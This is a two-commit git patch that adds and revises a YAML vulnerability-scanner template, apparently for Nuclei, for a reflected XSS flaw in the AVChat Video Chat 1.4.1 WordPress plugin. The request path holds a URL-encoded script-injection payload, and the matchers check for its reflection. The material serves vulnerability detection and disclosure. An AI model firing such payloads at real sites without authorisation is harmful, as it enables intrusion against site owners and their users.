From 404f1d56eb410d990bf818c3dd796565379e6210 Mon Sep 17 00:00:00 2001
From: Dhiyaneshwaran <leedhiyanesh@gmail.com>
Date: Thu, 4 Aug 2022 22:10:29 +0530
Subject: [PATCH 1/2] Create wp-avchat-3-xss.yaml

---
 .../wordpress/wp-avchat-3-xss.yaml            | 37 +++++++++++++++++++
 1 file changed, 37 insertions(+)
 create mode 100644 vulnerabilities/wordpress/wp-avchat-3-xss.yaml

diff --git a/vulnerabilities/wordpress/wp-avchat-3-xss.yaml b/vulnerabilities/wordpress/wp-avchat-3-xss.yaml
new file mode 100644
index 0000000000..6a1d3c4ce9
--- /dev/null
+++ b/vulnerabilities/wordpress/wp-avchat-3-xss.yaml
@@ -0,0 +1,37 @@
+id: wp-avchat-3-xss
+
+info:
+  name: AVChat Video Chat 1.4.1 - index_popup.php Multiple Parameters Reflected XSS
+  author: DhiyaneshDK
+  severity: medium
+  description: |
+    The Community Lite Video Chat WordPress plugin was affected by an index_popup.php Multiple Parameters Reflected XSS security vulnerability.
+  reference:
+    - https://codevigilant.com/disclosure/wp-plugin-avchat-3-a3-cross-site-scripting-xss/
+    - https://wpscan.com/vulnerability/fce99c82-3958-4c17-88d3-6e8fa1a11e59
+  metadata:
+    verified: true
+  tags: wordpress,wp-plugin,xss,unauth
+
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/avchat-3/index_popup.php?movie_param=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&FB_appId=FB_appId%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'FB_appId"><script>alert(document.domain)</script>"'
+          - 'swfobject.embedSWF("</script><script>alert(document.domain)</script>"'
+        part: body
+
+      - type: word
+        words:
+          - 'text/html'
+        part: header
+
+      - type: status
+        status:
+          - 200

From e2d0cfed57a1bd3472fa1fddcafa722b0abd2f78 Mon Sep 17 00:00:00 2001
From: Prince Chaddha <prince@projectdiscovery.io>
Date: Fri, 5 Aug 2022 07:54:15 +0400
Subject: [PATCH 2/2] Update and rename wp-avchat-3-xss.yaml to
 avchat-video-chat-xss.yaml

---
 .../{wp-avchat-3-xss.yaml => avchat-video-chat-xss.yaml} | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)
 rename vulnerabilities/wordpress/{wp-avchat-3-xss.yaml => avchat-video-chat-xss.yaml} (82%)

diff --git a/vulnerabilities/wordpress/wp-avchat-3-xss.yaml b/vulnerabilities/wordpress/avchat-video-chat-xss.yaml
similarity index 82%
rename from vulnerabilities/wordpress/wp-avchat-3-xss.yaml
rename to vulnerabilities/wordpress/avchat-video-chat-xss.yaml
index 6a1d3c4ce9..6c32b6223d 100644
--- a/vulnerabilities/wordpress/wp-avchat-3-xss.yaml
+++ b/vulnerabilities/wordpress/avchat-video-chat-xss.yaml
@@ -1,4 +1,4 @@
-id: wp-avchat-3-xss
+id: avchat-video-chat-xss
 
 info:
   name: AVChat Video Chat 1.4.1 - index_popup.php Multiple Parameters Reflected XSS
@@ -11,7 +11,7 @@ info:
     - https://wpscan.com/vulnerability/fce99c82-3958-4c17-88d3-6e8fa1a11e59
   metadata:
     verified: true
-  tags: wordpress,wp-plugin,xss,unauth
+  tags: wordpress,wp-plugin,xss,,wp
 
 
 requests:
@@ -22,10 +22,9 @@ requests:
     matchers-condition: and
     matchers:
       - type: word
-        words:
-          - 'FB_appId"><script>alert(document.domain)</script>"'
-          - 'swfobject.embedSWF("</script><script>alert(document.domain)</script>"'
         part: body
+        words:
+          - 'value="FB_appId"><script>alert(document.domain)</script>"'
 
       - type: word
         words: